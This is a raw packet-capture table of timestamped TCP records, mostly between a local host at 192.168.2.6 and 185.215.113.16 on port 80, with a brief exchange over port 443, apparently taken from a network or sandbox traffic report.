Nov 1, 2024 03:46:23.151741028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.151746988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.151774883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.151792049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.151922941 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.151935101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.151973963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.152160883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152173042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152184010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152199984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152204037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.152213097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152225018 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.152252913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.152811050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152823925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152834892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152844906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152857065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152868032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152868986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.152884007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.152899027 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.152934074 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.153558969 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.153570890 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.153604031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.153630972 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.181549072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.181602955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.181607962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.181621075 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.181646109 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.181667089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.181848049 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.181864977 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.181894064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.181911945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182008982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182019949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182030916 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182058096 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182080984 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182245970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182257891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182267904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182290077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182327032 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182569027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182580948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182593107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182615042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182650089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182760954 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182777882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182791948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.182813883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.182845116 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183053017 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183100939 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183185101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183197021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183213949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183226109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183233976 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183247089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183278084 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183569908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183583021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183593988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183605909 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183615923 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183620930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183633089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183636904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.183670998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.183685064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.184180975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.184231043 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.184241056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.184252024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.184286118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.184298038 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.197649956 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.197751045 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.199192047 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.199202061 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.199451923 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.200798988 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.200912952 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.200956106 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.201004028 CET	58530	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:23.201010942 CET	443	58530	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:23.223201990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.223248005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.223329067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.223341942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.223371029 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.223390102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270435095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270488024 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270509958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270520926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270555019 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270569086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270669937 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270684004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270715952 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270728111 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270787001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270797014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270837069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270924091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270936012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.270971060 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.270982981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271126986 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271137953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271174908 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271187067 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271294117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271306038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271343946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271362066 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271557093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271572113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271581888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271594048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271596909 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271605968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271619081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271642923 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.271971941 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271984100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.271995068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.272006989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.272017002 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.272022963 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.272034883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.272057056 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.300314903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300331116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300343037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300364971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.300396919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.300564051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300576925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300609112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.300702095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300714016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300748110 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.300864935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.300909042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301007032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301018953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301033974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301045895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301054955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301068068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301091909 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301379919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301419973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301446915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301491976 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301574945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301590919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301601887 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301613092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301616907 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301637888 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301657915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.301953077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301964998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301975012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.301995993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302020073 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302205086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302216053 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302227020 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302246094 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302263021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302551985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302562952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302575111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302598000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302608967 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302809000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302865028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302894115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302906036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302917004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.302937031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.302953005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.303220034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.303230047 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.303267956 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.341902971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.341914892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.341974974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.342019081 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.342060089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.342076063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.342097044 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.398696899 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398724079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398734093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398933887 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.398933887 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.398951054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398963928 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398974895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398987055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.398992062 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399019003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399038076 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399374962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399388075 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399399042 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399410009 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399421930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399463892 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399485111 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399874926 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399887085 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399897099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399909019 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399919987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399930000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399940968 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399946928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399952888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399965048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.399974108 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.399998903 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.400011063 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.424154043 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424165964 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424176931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424189091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424201965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424226999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.424426079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.424599886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424611092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424622059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424633980 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424645901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.424645901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424680948 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.424701929 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.424912930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.424968004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.425092936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425105095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425115108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425127029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425133944 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.425138950 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425152063 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425157070 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.425164938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425177097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.425183058 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.425249100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426012993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426024914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426038027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426058054 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426078081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426202059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426214933 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426224947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426246881 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426278114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426574945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426587105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426598072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426610947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426621914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426623106 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426634073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426645041 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426646948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.426662922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.426682949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.461261034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.461275101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.461287022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.461488962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508080959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508114100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508124113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508147001 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508171082 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508173943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508220911 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508434057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508445024 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508455992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508481979 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508488894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508490086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508502007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508517981 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508538961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508615017 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508657932 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508692980 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508733988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508800030 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508810997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508846045 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.508920908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508933067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.508969069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.509161949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509175062 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509186029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509196997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509205103 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.509210110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509224892 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.509247065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.509466887 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509481907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509516954 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.509529114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.509578943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509589911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.509629011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.537904978 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.537961006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.537960052 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.537975073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.538002014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.538017988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.542519093 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:23.542581081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:23.542891026 CET	80	58527	185.215.113.16	192.168.2.6
